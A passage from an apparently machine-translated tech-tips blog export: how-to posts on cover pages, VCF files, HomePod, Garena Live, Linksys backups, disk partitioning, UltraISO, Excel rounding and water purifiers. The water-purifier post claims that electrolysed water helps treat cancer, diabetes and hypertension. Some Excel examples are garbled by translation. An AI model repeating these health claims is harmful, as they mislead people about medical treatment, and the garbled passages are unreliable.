common practice, but it is not necessary. It's not necessary to underline, italicize, or bold the title.   Finish with the name of the author. On the line below your title, list the name you want to publish under. This can be your real name or a pen name.[14] You don't have to include any indication of copyright protection, as your work is automatically protected. Never bind or connect the pages of your manuscript in any way. Your cover letter, like the other pages of your manuscript, should be unbound and placed in an envelope or box.  Method 4of 6:\nUsing APA Style For Your Cover Page  Use a standard font and margin. Unless otherwise specified by your instructor, your cover page should be in 12-point Times New Roman font and double-spaced. Use a standard 1-inch (2.5-cm) margin on all sides of the title page.\n  Place a running head in the upper left corner. A running head is a header that will be found on each page of your paper. Your running head should include an abbreviated form of the title. Introduce the running head with the words \"Running head.\" Follow this label with a colon. The running head itself should be in all capital letters. The running head should be no longer than 50 characters, including spaces and punctuation.   Include the page number in the upper right corner. Since this is the first page of your essay, the page number will be '1.' Use standard numerals, not Roman numerals or written numbers. The page number and running head should be evenly aligned horizontally.   Center the title. The title should be placed roughly one-third of the way down from the top of the page. Generally, this would place the title about 2 inches below the header line. Capitalize the first letter of all major words but not for minor words. For example: How to Make a Cover Page Do not italicize, bold, or underline the title.   Include your name below the title. On the line directly below the title, include your first name, middle initial, and last name. If other students were involved in your study or essay, their names must be listed, as well. Separate each name with a comma.\n  Include the name of your institution. The line directly below your name should state the institution you are associated with. The first letter of each major word should be capitalized. For example, if you are submitting the paper for a class taken at the University of North Carolina at Asheville, you should include this in the line beneath the author's name (i.e. your name, and the names of your co-authors.) Check with your professor for any additional guidelines.  Method 5of 6:\nUsing MLA Style For Your Cover Page  Use a standard font and standard margins. Use 12-point Times New Roman font and 1-inch (2.5-cm) margins on all sides. Keep the alignment centered.[15] Be aware that cover pages are not standard in MLA format, but some professors do request them.   Center the title. The title should be placed roughly one-third of the way down from the top of the page. The first letter of each major word should be capitalized, but minor words should be left in lowercase. For example: How to Make a Cover Page. If you have a subtitle, include it below the title.[16] Do not bold, italicize, or underline either the title or the subtitle.   Write your full name. Skip several lines below the title, and make sure to include both your first and your last name. If other people collaborated with you on this paper, include their names as well.[17] Your name should be written using the same font and size as the other words on your title page. Don't try to use a cute or clever font for any part of your cover page, as professors don't care for this.   List the receiver of your paper. Beneath your name, write the name of your instructor, name of the class, and date. Each of these elements should be listed on a separate line. Make sure each line is double-spaced.[18] Introduce your instructor as \"Dr.\" when appropriate. If you cannot use this title to address your instructor, at least introduce him or her as \"Professor.\" For example, \"Dr. John Doe\" or \"Professor John Doe.\" Include both the course name and number.  Method 6of 6:\nUsing Chicago Style For Your Cover Page  Use a standard font and standard margins. Most professors prefer you use 1-inch (2.5-cm) margins on all sides and a 12-point Times New Roman font. The cover page should be center-aligned.[19] In Chicago style, cover page and title page refer to the same thing. Your professor may have other requirements. Make sure you use the preferred formatting for your course.   List the title first. Your title should be typed about a third of the way down from the top of the page. It should be centered on the page.[20] Capitalize the first letter of each major word in your title, but not those belonging to minor words. For example: How to Make a Cover Page Alternatively, some style guides suggest that the title be presented in ALL CAPS. Do not underline, italicize, or bold the title. If you have a subtitle, place a colon following your title and write the subtitle on the following line.   Write your full name. You should go several lines beneath the title, and write your first and last name. If you collaborated with other authors, make sure to include their names as well, separated by a comma.[21] Your name should be typed about three quarters of the way down the page. Use the same font and size that you've used throughout the cover page.   Specify the subject, instructor, and date in your final section. Note that this final section should be double-spaced, and each of these elements should be listed on a separate line.[22] Include both the name and course number of the subject. Write your professor's full name and title. Use \"Dr.\" only when appropriate. For example: \"Dr. John Doe\" or \"Professor John Doe.\"   Jessica Tanner Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYycpq%2BdomK9orPE\n","link":"/post/how-to-make-a-cover-page/","section":"post","tags":null,"title":"How to Make a Cover Page"},{"body":"VCF file is a regular vCard file to store information such as contacts, phone numbers, mail addresses, etc., compressed in a compact and safe size. If you do not know how to open VCF file on your computer, please refer to the article below!\n  1. Open VCF file directly on Windows Step 1: On Windows 7 and above, just click on the VCF file on the screen and open.\n  Step 2: Now your VCF file will open each contact in turn and display the details of that contact. To open the next contact, you just need to press the X to close that contact.\nNote: With VCF files containing hundreds of different contacts, you should not open this way because we have to close hundreds of times when the phonebook pops up and it takes time. You move on to ways 2 and 3 in the article to open VCF contacts faster.\n  2. Use the VCF Viewer utility Step 1: Download the VCF Viewer utility for the computer here:\nvcf-viewer_11.rar\nAfter downloading and opening the software, click Browse to open the VCF file.\n  Step 2: Find the VCF file on the computer (1) and click Open (2) to open.\n  After opening successfully, the software will display all information in VCF file such as contact name, phone number.\n  3. Use iCloud Step 1: Log in to your iCloud account at the following address https://www.icloud.com/\nNote: You should use iCloud account not synchronized contacts or new iCloud account to open the VCF file. If you do not know how to create an iCloud account, please refer to the following instructions: http://TipsMake.vn/cach-tao-icloud-tren-may-tinh/\n  Step 2: After successfully signing in to iCloud , select Contacts .\n  Step 3: Click the settings icon (1) =\u0026gt; Enter vCard . (2) .\n  Next, select the vCard file from your computer (1) and click Open (2) to open it.\n  So your vCard file has been imported to iCloud and can view all the information in that file.\nHowever, you need to be aware that when you sign in to your iCloud account on Apple devices and turn on the sync feature, all vCard contacts will be transferred to your device. You should delete all contacts after viewing or use the secondary iCloud account to view the vCard file.\n  With instructions to open VCF files in the article, you will no longer have trouble struggling to find ways to open this file type anymore. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrturYyvmp9llp65pnnOp2StoJVisLC5z66rnqo%3D\n","link":"/post/how-to-open-a-vcf-file-on-the-computer/","section":"post","tags":null,"title":"How to open a VCF file on the computer"},{"body":"What does a HomePod setup need? To start setting up the HomePod, you need:\niPhone, iPod touch or iPad are updated to the latest version of the operating system. On iPhone, iPod touch or iPad: Sign into iCloud. Turn on Bluetooth. Turn on and connect to the same WiFi network you will add the HomePod to. Install Home and Music application.  Place the HomePod 15 to 30cm away from the wall, and there is about 15cm space on all sides. This is necessary for the best audio experience. How to set up HomePod With the above requirements met, follow these steps to set up your Apple HomePod:\nStep 1. Plug the HomePod into the power source. When you hear a sound and see a white light appearing on the top of the HomePod, move on to the next step.\nStep\u0026nbsp;2. Place your iPhone, iPod touch or iPad next to the HomePod.\nStep\u0026nbsp;3. When a window appears from the bottom of the screen, press Set Up .\nStep\u0026nbsp;4. Select the HomePod room to be used. This does not change the way HomePod works, but determines where you find it in the Home app.\nSelect the HomePod room to be used Step\u0026nbsp;5. Select whether you want to turn on Personal Requests . This option allows you to make voice commands by sending text, sending reminders and notes, making calls using the HomePod. Click Enable Personal Requests or Not Now to restrict those commands.\nClick Enable Personal Requests or Not Now Step\u0026nbsp;6. A series of screens allow you to decide to use Siri (recommended because using voice commands with the HomePod is one of the best features of this device), agree to terms and conditions (required) ) and transfer iCloud, WiFi and Apple Music settings from the device.\nStep\u0026nbsp;7. When prompted, place the HomePod screen in the center of the device's camera viewfinder to complete the setup process.\nPlace the HomePod screen in the center of the device camera viewfinder Note: If the camera does not work, press Enter Passcode Manually and Siri will speak the code for you to enter on your device.\nStep\u0026nbsp;8. When the setup is over, Siri will talk to you. Time to start using HomePod!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyap6mklWK1sLnEqaad\n","link":"/post/how-to-set-up-apple-homepod/","section":"post","tags":null,"title":"How to set up Apple HomePod"},{"body":"Garena Plus is a popular and familiar game support tool for all gamers. And in the newly released version, the Garena Live feature has been updated to most users, with the ability to support gamers who can stream live gaming screens on their computers.\nIn addition, Garena Live also allows players to use images on webcams, open chat frames on the interface, record any sound in the game and outside with stable quality. In the following article, we will guide you how to play live stream on Garena Live.\nIf you want to stream games to Facebook, you should consult the article: This is how Live Stream Facebook Video on PC, Fanpage\nHow to play live stream game on Garena Live First, download the latest version of Garena for your computer using the link below.\nDownload Garena software for free Step 1: We start the software to install Garena on the computer. Then proceed to login personal Garena account . At Garena's main interface, you will see the Live button as shown below. Click on this Live button .\n  Step 2: Next, you will see the new interface appear next to you and click the Go Live button to proceed to stream the game on Garena Live.\n  Step 3: The live stream interface on Garena Live will look like the image below. In the small right corner of the live stream screen, you will see the image transmitted from the webcam.\n  Below the frame will be options to set up during live stream playback including:\nWebcam icon: optionally display webcam image for others to see or not in the play screen. Speaker icon: adjust the sound when playing games. Speaker icon: adjust the sound obtained. Note icon: collapse the live stream playback interface.   Step 4: Here, we will select the game to conduct live stream on Garena Live. Some games are supported with live video playback such as League of Legends, FIFA, Online 3, Dota 2, CS: GO, Overwatch, Minecraft, Blade and Soul, Hearthstone, Mobile Union.\nIf the user wants to choose live stream of another game or stream directly from any screen on the computer, click on the League of Legends button and then select another Games or Screen Stream on the list.\n  For example, I choose Screen Stream. You can select screens to record videos directly on Garena Live, if the computer is on many different program windows.\n  Step 5: In addition, Garena Live also supports chat frames when streaming games. We choose to select the Show chat in game option . Users will see the chat frame on the interface. This chat frame can be moved.\n  Step 6: At the live stream screen on Garena Live, the top will be the time when we are recording live video. Below, gamers can change the name of the streaming video if desired.The next link garena.live helps players send via Facebook, Twitter, Instagram, . so friends can follow the game screen where we are playing live stream.\nTo stop video game recording directly on Garena Live, we click the red circle icon at the bottom of the interface as shown below.\n  Step 7: Also at this interface, to change some settings for live video game playback, users click on the gear icon .\n  Step 8: Appearing the Garena Live Installation frame, the user will see the path to save the file with the default directory that Garena Live has set up. To change the folder to save this video game, click on the Search button .\n  The folder interface appears on the computer. The players select the folder to save the live stream video, click on the folder and click Select Folder .\n  Step 9: Back to the Settings interface you will see the folder where the video is saved has been changed. Next, if you want to save the file automatically, select Automatically save the stream . Besides, we can change FPS and Latency to make the game video stream smoother.\nIf you do not want to use the keyboard shortcut Ctrl + Alt + S to conduct a live video recording, skip the check box at Use shortcut (Ctrl Alt + S). Finally to save all changes, users click on the Save button to complete the new settings.\n  The above is a basic guide for conducting live video, live streaming games on your computer using Garena Live feature of Garena tool. In addition to supporting game streams from computers, Garena Live also supports many other attractive features to players. During live stream playback, players need to ensure that the Internet connection is working properly.\nWish you all have fun playing games!\nSee also: Instructions on how to Live Video Stream to YouTube\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqukp7KiuYygmKado2K8r3nGmqmeppFiuarCxGadq6edYq5ur86mp66slac%3D\n","link":"/post/how-to-stream-games-on-garena-live-from-a-computer/","section":"post","tags":null,"title":"How to stream games on Garena Live from a computer"},{"body":"A public profile on Google Maps is something you should make sure to keep up to date. The reason is that Google Maps is gradually becoming a social tool, in addition to its main function as a navigation service.\nAnd now, Google allows you to edit your Google Maps profile directly from the Android application.\nPublic profile on Google Maps As users contribute more and more to Maps (adding photos, descriptions and even businesses), they get points for that. Previously, public profiles only displayed this score.\nNow, you have more control over the way others see your profile. Create a short profile explaining why you want to contribute to Maps. You can also choose privacy options in the profile\nEdit profile To get started, launch the Google Maps app on your Android device and press the Menu button on the left, then select Your Profile.\n  \nYou will see a summary page showing the latest contributions. Then touch the Bio section and enter a description. You can even choose to share your profile with friends.\nYou have more options when you click the Profile Settings button . This will display all the options related to the essential content of Google Maps. Scroll to the bottom of the screen to choose whether contributions are displayed or not.\nMore importantly, you can also choose to share your profile with businesses. The decision regarding the second option will depend on whether or not you use Google Maps for business. But for most people, it's best not to use this option.\n  This page even allows you to delete location history (Location History) if needed. Of course, you can always set Google to automatically delete location history.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gma61sYyprJukmZh6sb7On6ClnaNitq95xqimoKSVYrqivNJmpqdlkaOxs7vInQ%3D%3D\n","link":"/post/how-to-update-public-profiles-in-google-maps-on-android/","section":"post","tags":null,"title":"How to update public profiles in Google Maps on Android"},{"body":"The Backup and Restore Configuration feature in the Linksys router allows end users to back up all configurations made to the router. In the case when you need to reset the router to factory default settings, you will be able to restore the previous configuration with a backup configuration file. This will save you time by not having to go through the manual reconfiguration process of the router.\nTo backup and restore router configuration, follow the instructions below.\nNOTE : For some Linksys router models (E series and EA series) using Linksys Connect, you first need to access the Advanced settings to perform the Backup and Restore Configuration feature.\nBackup Linksys router configuration Step 1: Access your router's web-based setup page by opening a web browser like Internet Explorer or Safari. On the Address bar , enter the router's local IP address, then press Enter. When the login prompt appears, enter the Username and Password of the router.\nNOTE : The default Linksys router's default local IP address is 192.168.1.1 , while the default password is admin and the username field is left blank. Refer to: List of default Linksys router passwords.\nIf you have changed the password before and forgot it, you need to reset the device. Refer to: How to reset the Linksys router to its factory default settings for more details.\nStep 2: When the web-based setup page appears, select Administration. You will automatically be taken to the Management tab .\nStep 3: Click the Backup Configurations button on the Backup and Restore column .\nClick the Backup Configurations button on the Backup and Restore column NOTE : The Backup and Restore option is at the bottom of the Management page .\nStep 4: A new window will prompt you to save the configuration file (with the .bin file extension). Click Save on the File Download window and select a location to save the configuration file, then click Save.\nClick Save on the File Download window NOTE : In this example, the article used the Linksys E2000 router. The name of the configuration file may vary depending on the router used.\nRestore Linksys router configuration Step 1: From the Management page , click the Restore Configurations button on the Backup and Restore column .\nStep 2: A new window will appear for you to select the configuration file (.bin) to be restored. Click Browse to locate the file. When you locate the file, select the file and click Open.\nClick Browse to locate the file NOTE : The configuration file (.bin) will be loaded on the Restore Configuration window .\nThe configuration file (.bin) will be loaded on the Restore Configuration window Step 3: Click Start to Restore to begin restoring the configuration.\nNOTE : If you have trouble restoring your configuration, perform a firmware upgrade. This will update the firmware on the router to troubleshoot problems and errors that may occur. For instructions on how to upgrade the firmware, refer to the article: How to upgrade the Firmware for the Wireless Router? For more details. After the upgrade, perform the recovery configuration steps again.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmmZqbm6q9bq3NnWSrnaOpvLOxjJ%2Bcmqylp7Jutc1mq6GdXaG2r7fSsqpmqp%2Bqwaa%2B\n","link":"/post/how-to-use-the-backup-and-restore-feature-in-the-linksys-router/","section":"post","tags":null,"title":"How to use the backup and restore feature in the Linksys router"},{"body":"Is your C drive capacity too large? Want to split hard drive capacity into many different small drives?Shrink Volume is one of Microsoft's great, very handy features that equips the operating system since Windows Vista until now, making it easier for users to manage and split the drive capacity as desired.\nPlease read the article below for reference steps!\nSee the article on dividing and merging hard drives in Windows 7 How to display the icon My Computer - This PC on Windows 10 How to create My Computer's shortcut? Steps to divide the hard drive in Windows 10 First, you right-click on this PC icon \u0026gt; Manage (1) \u0026gt; select Disk Management (2) \u0026gt; right-click the partition to divide capacity\u0026gt; Shrink Volume (3) as shown below:\n  Windows will calculate and display the capacity for splitting, in this step you will see four parameters appear in the table:\n  Total size before shrink in MB : total volume of the partition, in MB units (1024 MB = 1GB). Kích cỡ của thu nhỏ đã sẵn sàng trong MB : maximum size that allows you to split. Hãy nhập một số thứ tự số thứ tự để shrink trong MB : the size you want to split into a new partition (we will type the number in MB units here, as for example I enter 44444MB ~ 40GB) Total size after shrink in MB : space left when we split the partition. Click Shrink to start dividing the hard drive, depending on the size of the hard drive and the computer configuration, this process will be fast or slow (as in this example, dividing 40GB will take about 1 minute). After the split, you will see the new partition appear as black as shown below:\n  To use the new partition, we need to format - Format for that partition. Right-click on the black area\u0026gt; New Simple Volume :\n  This step is not complicated at all, you can continue to Next\u0026gt; Next :\n  Keep the file system format as NTFS, and check the box below\nAnd this is our result:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWacmau2pbXNoGShmaKZeqW%2ByK%2BcrGWinrSpwIyipWavmaOxsMPSZmhp\n","link":"/post/instructions-for-dividing-hard-drives-right-in-windows-10/","section":"post","tags":null,"title":"Instructions for dividing hard drives right in Windows 10"},{"body":"Using a water purifier is an optimal solution that brings both clean water and helps save costs for users. Because of such benefits, the market for water purifiers in recent years has been vibrant. The range of water purifiers also thanks to that more diverse, giving users more options.\nIn this article, we will help you synthesize the types of home water filters available in the market to help you better understand, and can easily choose an appropriate water filter if needed. bridge use.\n  RO water purifier RO water purifier (REVERSE OSMOSIS) is a RO purifier that uses RO technology - using a ultrafiltration membrane, with a filtration slot of 0.0001micron (filtration to the size of ions, atoms) to create ultrapure water. Besides the ability to filter solids, heavy metals, they can also filter microorganisms, bacteria with extremely small size. The water after the filtration process can be drink directly without boiling.\nOutstanding features of RO water purifier About structure\nUsually a standard RO water purifier will consist of 6 levels of filtration:\n5 micron PP filter cartridge: Filtering out impurities of organic matter, rust, mud or suspended matters in water smaller than 5 micron. OCB activated carbon filter : Has the effect of eliminating toxic organic compounds, deodorizing strange odors in water. 1 micron PP filter cartridge : Capable of filtering debris, algae, rust, larvae . smaller than 1 micron in size. RO membrane: Purifies metal ions, ammonium, arsenic, pesticides, viruses, bacteria . at the molecular level. Carbon Filter T33 : Has the effect of removing 100% of harmful substances while balancing the pH and helping to stabilize the cool natural sweetness of the water. Nano silver core: Has the effect of destroying the remaining bacteria after filtering and preventing re-infection when water circulates in the filtration system. In addition, depending on the model, the manufacturer also designed a number of other filter cores such as: core, mineral core, infrared core .\nWhich type of RO water filter is suitable?\nRO water purifier is suitable for most types of water such as rain water, alum water, river water, well water. However, for the type of water contaminated with alum, limestone contaminated water . you should filter before filtering into the new filter.\nAdvantages of RO water purifier\nCompletely pure outlet water can be drunk directly The ability to remove up to 99.99% of viruses, bacteria, amoebas, arsenic . so this machine has the ability to prevent some diseases caused by water such as: Cholera, typhoid . Cost savings many times more than buying clean water, bottled water. Disadvantages of RO water purifier\nWhen meeting hard water sources, the RO membrane is easily clogged The rate of wastewater is still high Some of the best RO water filters available today FujiE RO-08 RO water purifier (8 levels filter)\nProduct specification:\nNumber of cores: 8 cores Capacity: 10 liters Valve type: Electromagnetic valve Filter capacity: 10 liters / hour Power consumption: 24W / h Source voltage: 220V / 50Hz Brand: Japan Made in China Warranty: 24 months Reference price: 3,050,000 VND   RO water filter under AOSmith AR75-AS-2 washbasin\nProduct specification:\nWater filter: Tap water Number of cores: 5 cores Capacity: 9.46 liters Filter capacity: 284 liters / day Capacity: 36W Function: Normal water Pressure: 0.1MPa - 0.35MPa Warranty 12 months Reference price: 8,999,000 VND Nano water purifier Besides RO water purifier, Nano water purifier is also quite familiar with families. This machine uses ultra-small size filters to remove impurities, viruses, bacteria, dirt . while preserving the natural minerals in the water.\nFeatures of Nano water purifier Special filter core structure\nThe Nano water filtration devices have the structure of a smart, comprehensive 4 in 1 filter technology:\nMechanical filter: Helps to remove large particles of dust from the water inlet. Filter by adsorption mechanism: Nano filter will retain heavy metals that affect health. Filter by ion exchange mechanism: This is a great advantage of nano water purifier. This mechanism helps better handle hard water (deposit). Sterilizing by silver coating technology (Ag): Has the ability to completely eliminate 100% of harmful bacteria but still retains most minerals in the water, protecting the health of the whole family. Advantages\nRetains many natural minerals good for the body No electricity, no pressure vessels, and no waste water The filtered water can be used immediately without boiling Power saving, effective water saving. Defect\nOsmosis filter type, screen size is about 5-1 micron so it will not filter effectively Core replacement time is faster, core replacement cost is more expensive than RO water filter Does not filter as much water as RO filters Introduce some outstanding products Geyser 6-level nano water purifier TK6 filter\nProduct specification:\nWater filter: Tap water Filter capacity: 2 - 3 liters / minute Size: 40cm x 20cm x 35cm Brand: Russia Made in Vietnam Warranty: 36 months Reference selling price: 2,290,000 VND   \nWater filter Eco Green 10 levels uv\nProduct specification:\nTank capacity: 10 liters Filter level: 10 Container material: Stainless steel alloy Dimensions: 930mm x 420mm x 330mm Product weight: 28kg Warranty: For electrical part (24 months) Reference selling price: VND 5,750,000   Water heater Hot and cold water purifier is an extremely useful device. It integrates the features of a dispenser with a water filter to create a 3-in-1 product that both purifies the water and provides hot and cold water.\nAdvantages of water dispenser\nBring to users the convenience. With only one device, users can get pure water, hot water, cold water to meet daily needs. The machine is equipped with advanced technology, using blocks instead of electronic chips to help bring the ability to cool and heat water extremely quickly and deeply. Using the machine, it also helps users to save maximum costs by not having to replace water bottles frequently. Help users be proactive in water. Its advanced water filtration function will bring pure water to ensure the maximum removal of impurities, dirt, heavy metals, bacteria, viruses . Help save energy much more effectively than using 2 separate devices. Disadvantages of water dispenser\nMachine price is still relatively high Machine size is quite large, bulky. Some outstanding hot and cold water filter models Built-in water heater Sunhouse SHR76210CK\nProduct specification:\nWater purifier type: RO Refrigeration technology: Electronics Number of cores: 10 cores Capacity: Tank (10 liters); Refrigerated tank (0.65 liter); Hot kettle (0.85 liters) Valve type: Electromagnetic valve Filter capacity: 10 - 15 liters / hour Transformer: 24VDC Pressure gauge display: No. Capacity: Heat (580W); Cooling (70W); Filter (50W) Shell material: Tempered glass Reference price: 6,990,000 VND   7-level integrated Eco Green water heater\nProduct specification:\nWater purifier type: RO Filter level: 7 Cooling principle: Block cooling Cold temperature: 10 degrees Celsius Hot temperature: 95 degrees Celsius Product weight: 30kg Warranty: Electric part (24 months) Reference selling price: 7,250,000 VND   Electrolyte water filter Electrolyte water purifier, also known as alkaline ionized water purifier, alkaline ionized water machine, alkaline ionized water generator . This machine has the ability to filter, remove impurities such as chlorine, remove color, smell. , microorganisms . and put into the electrolysis chamber to create 2 different water streams are alkaline ionized water and acidic ionized water.\nUnlike conventional water filters, this electrolytic water filter in addition to water filters also have an electrolyte chamber. Therefore, the water generated from the electrolyte is extremely superior and outstanding.\nBenefits when using electrolytic water filter Providing clean water for living to help you prevent and support the treatment of hundreds of dangerous diseases such as cancer, diabetes, stomach pain, acute colitis, gout, hypertension . Weak acid ionic water of a electrolyzer usually has a pH of about 5.5 - 6.0 which can be used to wash your face, spray minerals to help beautify your face, balance pH and tighten pores. In addition, when combined with shampoos and conditioners, the hair will be soft, silky, limit hair loss and stimulate hair growth. Alkaline electrolyte water with pH 10.0 or above: cleansing vegetables, eliminating acrid taste, making vegetables brittle, sweeter. In particular, at an alkaline level of pH\u0026gt; 11.0, you will realize the ability to strongly remove toxic substances attached to fruits and vegetables. Strong acid ionic water generated from this eyebrow has a pH of about 2.5 - 3.5, often used for cleaning, disinfecting, washing dishes, cutting boards . Some models of the best electrolytic water filters today Electrolytic water filter Galaxy\nProduct specification:\nWater filter: Tap water Number of cores: 3 cores Water regime: 1 (Acid water level); 1 (Neutral water level); 5 (Alkaline water level) Filter capacity: 3 liters / minute Number of electrode plates: 5 Dimensions: 230mm x 140mm x 350mm Product weight: 3.5kg Made in: Taiwan Warranty 12 months Reference selling price: 31,500,000 VND   Cleansui water filter to create alkaline ion AL700E / EU301\nProduct specification:\nWater flow: Filter (3 liters / minute) Filter capacity: 8,000 liters Voltage source: 220V - 240V / 50Hz - 60Hz Capacity: 250W Pressure: 0.07 ~ 0.35 MPa Brand: Japan Made in Japan Warranty: For hose (5 years); Accessories (12 months) Reference selling price: 43,900,000 VND Above are the most common types of household water filters, which are selected by many families. Hopefully, you will have more useful information so that you can easily decide which water purifier to use for your family. If you need to use the above products, please contact us for advice and support the fastest:\nHanoi: 56 Duy Tan - Dich Vong Hau - Cau Giay. Hotline: 024.3568.6969 Ho Chi Minh City: 716-718 Dien Bien Phu - Ward 10 - District 10. Hotline: 028.3833.3366 ncG1vNJzZmismaXArq3KnmWcp51kv7C4y2aroZ1doba0wIyonWasmJp6o7HSrWSfmZ2eubp51pqrnqpdm7atwMSrqmannmLBqbGMppiro5WperW7w5qw\n","link":"/post/roll-the-list-of-the-best-family-water-filters-on-the-market-today/","section":"post","tags":null,"title":"Roll the list of the best family water filters on the market today"},{"body":"Using the UltraISO tool, you can create personalized bootable DVDs or CDs.\nWith UltraISO, you can easily edit, create and burn ISO files without any lag or crashes. Since it's a lightweight program, it doesn't take up much space on the hard drive.\nDownload UltraISO here.\n  Features of UltraISO Many features for many file formats UltraISO is a popular tool for creating, converting and editing DVD/CD ISO image files. In addition, it also acts as a DVD/CD creator, allowing you to directly edit image files in your system. With this software, you can rip folders and files from DVD/CD and even create ISO files directly from your Windows PC's hard drive or DVD/CD ROM. At the same time, UltraISO allows you to maintain boot information, thus creating personalized bootable DVDs/CDs. With this tool, you have the right to create and edit ISO files, then continue to burn them to DVD/CD.\nIt is worth mentioning that UltraISO has a powerful ISO document format analyzer. As such, it can handle many file formats, including BIN and ISO, as well as the latest image files. As mentioned earlier, UltraISO allows you to work with these image files, extract folders and files, and convert or edit images to the standard ISO format.\nWith the program's two-window user interface, you can take advantage of the drag-and-drop mechanism or quick buttons to handle multiple files with ease. Having said that, compared to Nero Burning ROM and Power ISO, UltraISO's interface is a bit complicated and beginners may need to get used to the navigation.\nEasy to use Although the program comes with a complex interface, you can get familiar with the features in a short period of time. The interface merges two windows focusing on two command options, i.e. drag and drop scrolling and quick buttons. Thus, you can easily process DVD/CD image files. Unlike Magic ISO Maker, WinCDEmu and others, UltraISO supports the integration of common shell document types. With this feature, it allows you to access image files by right-click pop-up menu or double-click file access protocol.\nLightweight, doesn't take up much space UltraISO is available in size only 3MB. Therefore, the download and installation package does not cause problems for the server and you do not need to worry about crashes or lags. In most PCs running Windows 10, Windows 8, and Windows 7, setup takes no more than a few seconds. Although the trial version comes with limited features, it is the ideal choice for those who need to try the program.\nIt is worth mentioning that the CD image file archive is completely bootable from the disc. Since the generally accepted standard is ISO9660, DVD/CD image files are often referred to as ISO files. Whether you are looking at extracted ISO files, edited files or boot information, this tool will not take up much space on your hard drive.\nWithout a doubt, UltraISO is a powerful tool for Windows PCs. With this simple application you can perform a wide range of functions. While it directly edits ISO image files, you can even rename, delete and create new folders for files. In addition, the program allows you to extract folders and files from image files and create ISO files from different hard drive documents.\nAdvantages\nMany features Supports multiple file formats Optimize ISO file storage Fast processing Defect\nComplex interface download UltraISO ncG1vNJzZmismaXArq3KnmWcp51kwq3A0ZqgrKddmby4usuomJ1lpaHBs63IrKY%3D\n","link":"/post/ultraiso-download-ultraiso/","section":"post","tags":null,"title":"UltraISO - Download UltraISO"},{"body":"In Excel spreadsheets, rounding is essential to compacting calculator and spreadsheet data. When rounding, the next calculation will be simpler and easier. In Excel, to round numbers we can use different Excel functions.\nEach rounding function will round the numbers in different ways, so that users can choose to serve the data processing needs in Excel tables. The following article will summarize the rounding functions on Excel.\nHow to use ConcateNate function on Excel How to use AVERAGEIF function in Excel How to use SUMPRODUCT function in Excel Functions that round numbers in Excel 1. Round the number with ROUND function 2. Round the numbers with the ROUNDUP function 3. Round the number with the ROUNDDOWN function 4. Round the numbers with the MROUND function 5. Round the numbers using the CEILING function and the FLOOR function 6. Function EVEN, ODD function rounds 7. Rounding function of INT, TRUNC 1. Round the number with ROUND function The ROUND function has the formula = ROUND (number, num_digits) .\nIn that number is the number to be rounded, num_digits is the number of digits to be rounded.\nRead how to implement ROUND function in Excel according to the article How to use Round function in Excel.\n2. Round the numbers with the ROUNDUP function The function has the formula = ROUNDUP (number, num_digits) .\nThis function will round the number larger than the original number and how much larger the value will depend on how the function is used. Where num_digits is a positive value, it will round behind the decimal and the negative value will round to tens, hundreds, .\n  3. Round the number with the ROUNDDOWN function The function has the formula = ROUNDDOWN (number, num_digits) .\nThe ROUNDDOWN function will be contrary to the ROUNDUP function, the result will be a value less than the original value of the number.\n  4. Round the numbers with the MROUND function The function has the formula = MROUND (number, multiple) .\nThe function will round to a multiple of another number. In which multiple is the number to round to its multiple. Number is the value you want to round.\nWhen number and multiple are different, the function will report a #NUM error. If number and multiple are the same, then the result is that number.\nThe result of the MROUND function rounds up when the number divides multiple is greater than or equal to 1/2 multiple, and vice versa rounds down when the baby is more than 1/2 multiple.\n= MROUND (5.2) = 6. Since 5/2\u0026gt; 2/2, multiples of the nearest 2 that are greater than 5 are 6. = MROUND (12.5) = 10. Since 12/5 = MROUND (33.5) = 35. Due to 33/5\u0026gt; 5/2, the multiple of the nearest 5 that is greater than 33 is 35. = MROUND (-88.5) reported the #NUM error. This is the case of the #NUM error when multiple and number are not identical.   5. Round the numbers using the CEILING function and the FLOOR function Functions have the following syntax:\n= CEILING (Number of rounds, significance). = FLOOR (number, significance). In which Significance is the number that needs to round to its multiples, the number and Significance of the function will indicate the #NUM, number is the multiple of Significance, the result will be the same number.\nIn general, these two functions will have a similar implementation to the MROUND function, which will round to the nearest multiple of some number. But the CEILING function will round the number away from zero, while the FLOOR function rounds back to zero.\n  6. Function EVEN, ODD function rounds These two functions will round to the most even and odd integers. Both functions are rounded away from zero.\nFormula 2 functions are = EVEN (number) / = ODD (number) .\n  7. Rounding function of INT, TRUNC This function will round a number to an integer. We have the INT function syntax = INT (number) .\n  We have the syntax of TRUNC function = TRUNC (number [, num_digits]) .\nWhere num_digits is an integer, show how you want to cut the number.\nnum_digits\u0026gt; 0: if number is a decimal, num_digits indicates the number of decimal places you want to keep (after a comma). num_digits = 0 or does not enter: remove the decimal part of the number. num_digits When num_digits is different from 0, the ROUND function is rounded, while TRUNC only removes numbers without rounding.\nNote , for positive numbers, the INT function and TRUNC function give the same result. Then num_digits of TRUNC = 0 or none. But as a negative number, the two functions will give different results.\n  The above are ways to round numbers in Excel, with different rounding cases. Depending on the purpose and content, it is necessary to round up the number of types in the data table, but you can choose the rounding function accordingly.\nSee more:\nHow to use Vlookup function in Excel How to use the LEN function in Excel How to use the SUMIF function in Excel I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kxKLF0marqGWipMKvsIynrKaalafAbrXNZpyxm5Wh\n","link":"/post/ways-to-round-numbers-in-excel/","section":"post","tags":null,"title":"Ways to round numbers in Excel"},{"body":"Though not every sports season or game has been postponed, some of the canceled and delayed events include Wimbledon, the Tokyo Olympics and the remainder of the NBA's 2019-2020 season. \u0026nbsp;\n You can still watch different types of sporting events in place of more traditional games. Or, you can play sports games on your mobile device to ease the pain of missing your favorite match. Many apps have the option to play with friends and family, which can help recreate the camaraderie of watching a game together.\nEA Sports has seen more fans playing mobile sports games while live games are on hold, Cam Weber, group general manager of EA Sports, said in a Friday press release from Apple.\u0026nbsp;\nPaul Gouge, CEO of Playdemic, agreed. \"The thing we hear most from our players is that playing Golf Clash feels just like competing in 'real life,'\" he said in the release. \"In times like these we all need fun and human 